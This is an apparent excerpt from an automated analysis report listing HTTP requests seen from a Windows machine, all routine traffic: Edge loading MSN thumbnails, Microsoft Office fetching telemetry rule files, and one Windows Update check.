Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=OHzveTLUo7bbhBS&MD=+m+hrFxF HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
